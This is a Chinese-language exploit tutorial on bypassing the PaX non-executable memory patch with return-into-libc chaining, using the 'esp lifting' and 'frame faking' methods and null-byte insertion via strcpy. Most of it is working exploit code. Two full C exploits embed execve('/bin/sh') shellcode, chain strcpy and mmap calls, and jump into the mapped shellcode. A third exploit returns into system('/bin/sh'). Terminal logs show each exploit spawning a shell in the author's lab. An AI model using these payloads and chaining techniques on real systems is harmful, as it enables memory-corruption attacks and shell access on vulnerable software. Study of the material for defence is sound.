|
绕过Pax内核补丁保护的方法浅析(上)---高级的return-into-lib(c) exploits技术 (阅览
次)
绕过Pax内核补丁保护的方法浅析(上)---高级的return-into-lib(c) exploits技术
Author: alert7 Email: alert7@whitecell.org Homepage:http://www.whitecell.org
测试环境 6.2默认安装 内核2.4.16 + PaX gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)
★★ 前言
本文假使您写过一些*unix的exploit,了解其他一些内核补丁防止堆栈不可运行的技术。 让我们尽快切入正题。理解错误之处还请各位斧正。
PaX是为x86 linux设计的防止缓冲区溢出的一个内核补丁。这里说的防止缓冲区溢出 是一个广泛的概念,它也可以给大部分format string vuln和malloc/free vuln的 exploit...带来很大麻烦。 其主要功能是不允许在数据区(heap/bss/stack)执行代码,这个功能有点类试这个 <<使ELF应用程序的数据段不可执行的简易内核补丁>> http://www.linuxforum.net/forum/showflat.php?Cat=&Board=Kstudy&Number=108848&page=0&view=collapsed&sb=5&o=7&part= 我在上大学的时候向内核技术版斑竹jkl请教的关于PLT的一些问题。然后他就写了 上面这个补丁。当然其实现原理是不一样的,前者使用的是页机制,后者使用的是段机制。
★★ return-into-lib(c)技术
先抛开pax不说,我们先来看看一般return-into-lib(c) 的情况
<- 堆栈增长方向 内存地址增长方向 -> ------------------------------------------------------------------ | buffer fill-up(*)| function_in_lib | dummy_int32 | arg_1 | arg_2 | ... ------------------------------------------------------------------ ^ | - 这个32位的int本来应该是vuln函数的返回地址, 现在变成library库中的地址或者是PLT中的地址
假如以后程序会用到ebp的话,(*) buffer fill-up 应该正确的处理这个int. arg_1,arg_2,...是function_in_lib函数的参数。当function_in_lib函数返回时, 将会把dummy_int32作为EIP,继续执行。 你应该也想到了,如果再要调用一个lib中的函数的话,光光把dummy_int32换成 lib函数的地址是不行的。因为arg_2就会被当成dummy_int32函数的第一个参数, dummy_int32函数返回的时候就会把arg_1做为EIP。
假如一个vulnerable的程序临时放弃了特权。我们的exploit在调用system前必须 带调用一系列的函数来获得特权。这样问题就出来了 第一个问题就是我们上面说的问题,我们如何正确把一系列的调用都串起来,又要 保证他们用的是适当的参数。 第二个问题就是函数和参数所有的这些数据都不能包含\0,那么象system("/bin/sh"), "/bin/sh"字符串结尾\0是如何产生的。下面会讲到的。
Nergal<nergal@owl.openwall.com> 总结了两种方法把一系列函数调用串联起来。
★ 一: "esp lifting" 方法
该方法适用于-fomit-frame-pointer编译的程序。 因为带上-fomit-frame-pointer编译的程序的函数结尾如下的指令序列。 eplg: addl $LOCAL_VARS_SIZE,%esp ret
假如f1和f2是在library中的函数地址。我们构造如下的overflow string
<- 堆栈增长方向 内存地址增长方向 -> --------------------------------------------------------------------------- | f1 | eplg | f1_arg1 | f1_arg2 | ... | f1_argn| PAD | f2 | dmm | f2_args... --------------------------------------------------------------------------- ^ ^ ^ | | | | | <---------LOCAL_VARS_SIZE------------->| | |-- 这个32位的int应该是覆盖vuln函数的返回地址
PAD是一个填充部分(由非0的数据组成),PAD的长度大小加上f1那些参数的大小应该等于 LOCAL_VARS_SIZE. 这样当执行eplg处的ret时,就跳转到f2地址去了。
如果f1(如setuid()的参数就是)只有一个参数(一般参数大小就是4个字节),我们也可以寻找 如下指令序列 pop-ret: popl any_register ret
这样构造出来的就如下: <- 堆栈增长方向 内存地址增长方向 -> ------------------------------------------------------------------------------ | buffer fill-up | f1 | pop-ret | f1_arg | f2 | dmm | f2_arg1 | f2_arg2 ... ------------------------------------------------------------------------------ ^ | - 这个32位的int应该是覆盖vuln函数的返回地址
假如f1有很两个参数(一般参数大小就是8 bytes),我们需要在vuln程序中找如下指令序列 pop-ret2: popl any_register_1 popl any_register_2 ret
太多连续popl指令序列可能在vuln程序中找不到,可能两个就已经开始找不到了。 所以在演示中,我们将寻找eplg的指令序列。
这样构造payload的好处也是显而易见的,我们不需要知道f2字段的地址,就可以 跳到f2指向的地址去执行。就象windows中的jmp esp(其他的跳转指令指令,跟esp,ebp相关的)技术一样。 我一直有点疑问,在libc库中找jmp esp指令地址跟猜测esp值哪个的成功率和精确度会高点呢??哪个又更有 普遍性和通用性呢??呵呵,可能是猜测esp来的更通用,不然也不会在众多*unix的exploit中看不到使用 jmp esp技术的。但在本文中,jmp esp的思想发挥的淋漓尽致:)
★ 二: frame faking方法
第二种方法是为编译时没有带上 -fomit-frame-pointer设计准备的。这样编译出来得的函数结尾一般有 如下指令序列。 leaveret: leave ret
在这样的的二进制程序中,我们可能找不到有用的"esp lifting"指令序列。 但事实上,是可以找到一些"add $imm,%esp; ret"指令序列。但是这是gcc的特性。我们不能依赖于这个特性。 因为它依靠太多的因数了(gcc的版本,编译时候的选项还有其他等等)。
我们将用返回到"leaveret" 来替代返回到 "esp lifting"指令系列。 overflow payload将由几个独立的部分组成。
<- 堆栈增长方向 内存地址增长方向 -> saved FP saved vuln. function's return address -------------------------------------------- | buffer fill-up(*) | fake_ebp0 | leaveret | ① -------------------------|------------------ | +---------------------+ (*) this time, buffer fill-up must not | overwrite the saved frame pointer ! v ② ----------------------------------------------- | fake_ebp1 | f1 | leaveret | f1_arg1 | f1_arg2 ... -----|----------------------------------------- | the first frame +-+ | v ③ ------------------------------------------------ | fake_ebp2 | f2 | leaveret | f2_arg1 | f2_argv2 ... -----|------------------------------------------ | the second frame +-- ...
leaveret是一个地址值,该值的地址存放着如下指令序列 leaveret: leave ret
leave指令操作其实就是先把ebp-->esp,再pop ebp ret指令操作其实就是pop eip
所以,执行到①处的leaveret时,ebp就变成了fake_ebp0,EIP就变成了leaveret值, esp指向的是&(①leaveret)+4. 当①处的leaveret执行完,ebp就变成了fake_ebp1,EIP就变成了f1, esp指向的是&(②leaveret),函数f1的参数为f1_arg1,f1_arg2 ... 当f1函数进入时,第一条指令就是push %ebp,将会覆盖到f1地址的值,使的 f1=fake_ebp1.第二条指令就是mov %esp,%ebp。 所以f1()返回时,EIP=leaveret,ebp还是等于fake_ebp1,esp指向的是&(②leaveret)+4. 接下去类似...
注意:为了使用这种技术,我们必须知道fake frames精确的位置,因为我们要填写fake_ebp字段。
当然在带上-fomit-frame-pointer编译的程序还是有可能使用这种技术的。 在这种情况下,我们在程序中不能找到leave&ret代码序列,但是通常可以在和程序一块儿连接的 startup routines(from crtbegin.o)中找到。我们必须把"zeroth" chunk(最前面frame) 做一点改变。
由于带上了-fomit-frame-pointer编译,vuln函数的结尾是如下指令序列 addl $LOCAL_VARS_SIZE,%esp ret (关于一些gcc的编译选项可参考拙作<<gcc常用的编译选项对代码的影响>>) 所以我们只需要改变下最前面的frame,其他frame不变,就可以得到上面的效果了。
------------------------------------------------------- | buffer fill-up(*) | leaveret | fake_ebp0 | leaveret | ------------------------------------------------------- ^ | |-- 这个32位的int应该是覆盖vuln函数的返回地址
到现在为止,我们可以用两中方法把一系列的调用串起来了,也就解决了第一个问题。 那么我们来看看第二个问题,一些参数尾的\0是如何来的(比如字符串"bin/sh",需要一个 \0作为终止符)。
★★ 插入null bytes
我们先来看看strcpy这个函数,它经常被程序用到,它的第二个参数应该指向NULL 结尾的字符串。也就是说我们每一次的strcpy的调用,就可以使某一个byte变成\0. hehe,想到了没有,没有想到没有关系,下面我们继续说。 比如我们要调用system("/bin/sh"),可我们构造参数的时候只能构造/bin/shX . 我们可以先使用strcpy把/bin/shX中的X变成\0,strcpy函数的第二个参数有个要求, 应该是只是指向NULL。我们可以在vuln程序image中查找\0。
这里还有个问题,假如所有的libraries被mmaped到包含0的地址时 (象Solar Designer non-exec stack patch),我们不能直接返回到library中。 因为我们不能传NULL到我们构造的frame中。但是,假如strcpy 被vuln程序使用的话, 那我们就可以用该函数的PLT入口了。这样一来,我们又能任意调用libraries中的函数了。 但是,但是,假如程序中没有用到strcpy那怎么办,我们也可以使用其他函数替代。 比如strncpy,strcat,sprintf,snprintf etc...一系列的字符串函数还有其他 一些现在没有想到的却能生产\0的函数。所以对于一个比较大的应用软件来说,基本上 总可以找到可用的函数使我们要调用的函数的参数结尾生产\0.
好了,到现在为止,在最前面我们提到的两个问题已经解决了。
★★ 三个演示
理论这么多了,还是先结合下实际吧。
★ 例一:使用esp lifting技术
一 在带上-fomit-frame-pointer编译的VULN情况下,可以使用esp lifting技术 也可以使用fake frame技术
二 在不带上-fomit-frame-pointer编译的VULN情况下,应该使用fake frame技术 因为这种情况下,在函数尾部会有如下指令 leave ret
leave 指令所做的操作相当于把MOV ESP,EBP 然后 POP EBP 就是先把ebp-->esp,再pop ebp,因为我们会覆盖到EBP,所以当leave的时候, 我们就把ESP也改了,所以esp lifting技术在这种情况下就不太合适。
[alert7@redhat62 phrack-nergal]$ cat vuln.c #include <stdlib.h> #include <string.h> int main(int argc, char ** argv) { char buf[16]; char buf1[32];//需要加上这个,不然指令add xxx,%esp将跳不过mmap函数的参数总共大小。 //或者说定义下面的 char pad3[8 + POPNUM - sizeof(struct mmap_args)]; //就会出错,也就是会出现8 + POPNUM - sizeof(struct mmap_args) <0的情况 if (argc==2) strcpy(buf,argv[1]); }
[alert7@redhat62 phrack-nergal]$ gcc -fomit-frame-pointer -o vuln.omit vuln.c [alert7@redhat62 phrack-nergal]$ ldd vuln.omit libc.so.6 => /lib/libc.so.6 (0x4c6cb000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x4c6b3000) [alert7@redhat62 phrack-nergal]$ ldd vuln.omit libc.so.6 => /lib/libc.so.6 (0x4059b000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40583000)
library库加载的基地址每次运行的都不一样,须做一下处理.这是pax的另一个特性Randomize mmap() base 我们还没有讲到 ,暂时先使用chpax -r把这个特性去掉。
[alert7@redhat62 phrack-nergal]$ ./chpax -r vuln; ./chpax -r vuln.omit [alert7@redhat62 phrack-nergal]$ ldd vuln.omit libc.so.6 => /lib/libc.so.6 (0x40018000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) [alert7@redhat62 phrack-nergal]$ ldd vuln.omit libc.so.6 => /lib/libc.so.6 (0x40018000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) 现在每次运行都一样了
Pax的不能防止return-into-lib的exploit。甚至如下的代码也能成功运行于pax保护的系统中。
char shellcode[] = "arbitrary code here"; mmap(0xaa011000, some_length, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|MAP_PRIVATE|MAP_ANON, -1, some_offset); strcpy(0xaa011000+1, shellcode); return into 0xaa011000+1;
我们的例一例二的exploit就使用了这种方法。
[alert7@redhat62 phrack-nergal]$ cat ex-move.c /* by Nergal for vuln.c with -fomit-frame-pointer*/
#include <stdio.h> #include <stddef.h> #include <sys/mman.h>
#define LIBC 0x40018000 #define STRCPY 0x08048308 #define MMAP (0x000afaf0+LIBC) #define POPSTACK 0x80483eb #define PLAIN_RET 0x80483ee #define POPNUM 0x30 #define FRAMES 0xbffffe00 #define MMAP_START 0xaa011000
char hellcode[] = "\x90" "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";
/* This is a stack frame of a function which takes two arguments */ struct two_arg { unsigned int func; unsigned int leave_ret; unsigned int param1; unsigned int param2; }; struct mmap_args { unsigned int func; unsigned int leave_ret; unsigned int start; unsigned int length; unsigned int prot; unsigned int flags; unsigned int fd; unsigned int offset; };
/* The beginning of our overflow payload. Consumes the buffer space and overwrites %eip */ struct ov { char scratch[16];//在某些高版本gcc编译出来的时候会有8个bytes的垃圾,自己调整下 //可能以后版本的gcc会把这些垃圾利用起来 unsigned int eip; };
/* The second part ot the payload. Four functions will be called: strcpy, strcpy, mmap, strcpy */ struct ourbuf { struct two_arg zero1; char pad1[8 + POPNUM - sizeof(struct two_arg)]; struct two_arg zero2; char pad2[8 + POPNUM - sizeof(struct two_arg)]; struct mmap_args mymmap; char pad3[8 + POPNUM - sizeof(struct mmap_args)]; struct two_arg trans; char hell[sizeof(hellcode)]; };
#define PTR_TO_NULL (FRAMES+sizeof(struct ourbuf)) //#define PTR_TO_NULL 0x80484a7
main(int argc, char **argv) { char lg[sizeof(struct ov) + sizeof(struct ourbuf) + 4 + 1]; char *env[2] = { lg, 0 }; struct ourbuf thebuf; struct ov theov; int i;
memset(theov.scratch, 'X', sizeof(theov.scratch));
if (argc == 2 && !strcmp("testing", argv[1])) { for (i = 0; i < sizeof(theov.scratch); i++) theov.scratch[i] = i + 0x10; theov.eip = 0x05060708; } else { /* To make the code easier to read, we initially return into "ret". This will return into the address at the beginning of our "zero1" struct. */ theov.eip = PLAIN_RET; }
memset(&thebuf, 'Y', sizeof(thebuf));
thebuf.zero1.func = STRCPY; thebuf.zero1.leave_ret = POPSTACK; /* The following assignment puts into "param1" the address of the least significant byte of the "offset" field of "mmap_args" structure. This byte will be nullified by the strcpy call. */ thebuf.zero1.param1 = FRAMES + offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_args, offset); thebuf.zero1.param2 = PTR_TO_NULL;
thebuf.zero2.func = STRCPY; thebuf.zero2.leave_ret = POPSTACK; /* Also the "start" field must be the multiple of page. We have to nullify its least significant byte with a strcpy call. */ thebuf.zero2.param1 = FRAMES + offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_args, start); thebuf.zero2.param2 = PTR_TO_NULL;
thebuf.mymmap.func = MMAP; thebuf.mymmap.leave_ret = POPSTACK; thebuf.mymmap.start = MMAP_START + 1; thebuf.mymmap.length = 0x01020304; /* Luckily, 2.4.x kernels care only for the lowest byte of "prot", so we may put non-zero junk in the other bytes. 2.2.x kernels are more picky; in such case, we would need more zeroing. */ thebuf.mymmap.prot = 0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE; /* Same as above. Be careful not to include MAP_GROWS_DOWN */ thebuf.mymmap.flags = 0x01010200 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS; thebuf.mymmap.fd = 0xffffffff; thebuf.mymmap.offset = 0x01021001;
/* The final "strcpy" call will copy the shellcode into the freshly mmapped area at MMAP_START. Then, it will return not anymore into POPSTACK, but at MMAP_START+1. */ thebuf.trans.func = STRCPY; thebuf.trans.leave_ret = MMAP_START + 1; thebuf.trans.param1 = MMAP_START + 1; thebuf.trans.param2 = FRAMES + offsetof(struct ourbuf, hell);
memset(thebuf.hell, 'x', sizeof(thebuf.hell)); strncpy(thebuf.hell, hellcode, strlen(hellcode));
memcpy(lg , &theov, sizeof(theov)); memcpy(lg + sizeof(theov), &thebuf, sizeof(thebuf)); lg[sizeof(thebuf) + sizeof(theov)] = 0;
if (sizeof(struct ov) + sizeof(struct ourbuf) != strlen(lg)) { fprintf(stderr, "size=%i len=%i; zero(s) in the payload, correct it.\n", sizeof(struct ov) + sizeof(struct ourbuf) , strlen(lg)); printf("%s\n",lg); exit(1); } execle("./vuln.omit", "./vuln.omit",lg , NULL, 0); }
[alert7@redhat62 phrack-nergal]$ gcc -o ex-move ex-move.c [alert7@redhat62 phrack-nergal]$ ./ex-move bash$ id uid=502(alert7) gid=502(alert7) groups=502(alert7) bash$ exit
经过修改一系列的参数调整(如何调整具体看附README.code),终于在打过Pax安全内核补丁的情况下成功了
★ 例二: 使用fake frame技术
[alert7@redhat62 phrack-nergal]$ cat vuln.c #include <stdlib.h> #include <string.h> int main(int argc, char ** argv) { char buf[16]; char buf1[32]; if (argc==2) strcpy(buf,argv[1]); }
[alert7@redhat62 phrack-nergal]$ gcc -o vuln vuln.c [alert7@redhat62 phrack-nergal]$ ./chpax -r vuln [alert7@redhat62 phrack-nergal]$ ldd vuln libc.so.6 => /lib/libc.so.6 (0x40018000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) [alert7@redhat62 phrack-nergal]$ ldd vuln libc.so.6 => /lib/libc.so.6 (0x40018000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) [alert7@redhat62 phrack-nergal]$ cat ex-frame.c /* by Nergal for vuln.c without -fomit-frame-pointer */ #include <stdio.h> #include <stddef.h> #include <sys/mman.h>
#define LIBC 0x40018000//0x40018000//0x4001e000 #define STRCPY 0x08048308 #define MMAP (0x000afaf0+LIBC) #define LEAVERET 0x080483bb//0x80484bd #define FRAMES 0xbffffe60
#define MMAP_START 0xaa011000
char hellcode[] = "\x90" "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";
/* See the comments in ex-move.c */ struct two_arg { unsigned int new_ebp; unsigned int func; unsigned int leave_ret; unsigned int param1; unsigned int param2; }; struct mmap_args { unsigned int new_ebp; unsigned int func; unsigned int leave_ret; unsigned int start; unsigned int length; unsigned int prot; unsigned int flags; unsigned int fd; unsigned int offset; };
struct ov { char scratch[16]; unsigned int ebp; unsigned int eip; };
struct ourbuf { struct two_arg zero1; struct two_arg zero2; struct mmap_args mymmap; struct two_arg trans; char hell[sizeof(hellcode)]; };
#define PTR_TO_NULL (FRAMES+sizeof(struct ourbuf))
main(int argc, char **argv) { char lg[sizeof(struct ov) + sizeof(struct ourbuf) + 4 + 1]; char *env[2] = { lg, 0 }; struct ourbuf thebuf; struct ov theov; int i;
memset(theov.scratch, 'X', sizeof(theov.scratch));
if (argc == 2 && !strcmp("testing", argv[1])) { for (i = 0; i < sizeof(theov.scratch); i++) theov.scratch[i] = i + 0x10; theov.ebp = 0x01020304; theov.eip = 0x05060708; } else { theov.ebp = FRAMES; theov.eip = LEAVERET; } thebuf.zero1.new_ebp = FRAMES + offsetof(struct ourbuf, zero2); thebuf.zero1.func = STRCPY; thebuf.zero1.leave_ret = LEAVERET; thebuf.zero1.param1 = FRAMES + offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_args, offset); thebuf.zero1.param2 = PTR_TO_NULL;
thebuf.zero2.new_ebp = FRAMES + offsetof(struct ourbuf, mymmap); thebuf.zero2.func = STRCPY; thebuf.zero2.leave_ret = LEAVERET; thebuf.zero2.param1 = FRAMES + offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_args, start); thebuf.zero2.param2 = PTR_TO_NULL;
thebuf.mymmap.new_ebp = FRAMES + offsetof(struct ourbuf, trans); thebuf.mymmap.func = MMAP; thebuf.mymmap.leave_ret = LEAVERET; thebuf.mymmap.start = MMAP_START + 1; thebuf.mymmap.length = 0x01020304; thebuf.mymmap.prot = 0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE; /* again, careful not to include MAP_GROWS_DOWN below */ thebuf.mymmap.flags = 0x01010200 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS; thebuf.mymmap.fd = 0xffffffff; thebuf.mymmap.offset = 0x01021001;
thebuf.trans.new_ebp = 0x01020304; thebuf.trans.func = STRCPY; thebuf.trans.leave_ret = MMAP_START + 1; thebuf.trans.param1 = MMAP_START + 1; thebuf.trans.param2 = FRAMES + offsetof(struct ourbuf, hell);
memset(thebuf.hell, 'x', sizeof(thebuf.hell)); strncpy(thebuf.hell, hellcode, strlen(hellcode));
memcpy(lg, &theov, sizeof(theov)); memcpy(lg + sizeof(theov), &thebuf, sizeof(thebuf)); lg[sizeof(thebuf) + sizeof(theov)] = 0;
if (sizeof(struct ov) + sizeof(struct ourbuf) != strlen(lg)) { fprintf(stderr, "size=%i len=%i; zero(s) in the payload, correct it.\n", sizeof(struct ov) + sizeof(struct ourbuf) , strlen(lg)); exit(1); } execle("./vuln", "./vuln", lg, NULL, 0); }
[alert7@redhat62 phrack-nergal]$ ./ex-frame bash$ id uid=502(alert7) gid=502(alert7) groups=502(alert7) bash$ exit exit
经过修改一系列的参数调整(如何调整具体看附README.code),使用fake frame技术也成功了 :)
★ 例三:
看看我在<<非安全编程演示之高级篇>>这片文章里讲到的那个exploit, 看看他在pax的情况下能否成功。
[alert7@redhat62 alert7]$ cat e2.c int main(int argv,char **argc) { char buf[256]; printf("%p\n",buf); strcpy(buf,argc[1]); } [alert7@redhat62 alert7]$ ./chpax -r e2 [alert7@redhat62 alert7]$ cat exp_e2.c #include <stdio.h>
#define RET_POSITION 260 #define NOP 0x90 #define BUFADDR 0xbffff978//0xbffff968 #define SYSTEM 0x40058ae0 char shell[]="/bin/sh"; /* .string \"/bin/sh\" */
int main(int argc,char **argv) { char buff[1024],*ptr; int retaddr; int i;
retaddr=SYSTEM; if(argc>1) retaddr=SYSTEM+atoi(argv[1]);
bzero(buff,1024); for(i=0;i<300;i++) buff[i]=NOP; *((long *)&(buff[RET_POSITION-4]))=BUFADDR+4*3+strlen(shell); *((long *)&(buff[RET_POSITION]))=retaddr; *((long *)&(buff[RET_POSITION+4]))=0xaabbccdd;//当system返回时候的eip *((long *)&(buff[RET_POSITION+8]))=BUFADDR+RET_POSITION+4*3; ptr=buff+RET_POSITION+12; strcpy(ptr,shell); printf("Jump to 0x%08x\n",retaddr);
execl("./e2","e2",buff,0); } [alert7@redhat62 alert7]$ ./exp_e2 Jump to 0x40058ae0 0xbffff978 bash$ id uid=502(alert7) gid=502(alert7) groups=502(alert7) bash$ exit exit Segmentation fault (core dumped) [alert7@redhat62 alert7]$ gdb e2 core -q Core was generated by `e2 '. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. #0 0xaabbccdd in ?? ()
bingo~~,也是成功了:)
在PAX情况下,这三个例子成功的关键是我们把有问题的程序去掉了 Randomize mmap() base选项,使每次vuln的库都加载到同一个地方,(还有就是pax没有 把library库加载到内存的低端)所以这样我们就可以轻易的得到一些关键函数的地址,比如 说system的地址(即使vuln程序没有使用system())。
返回
|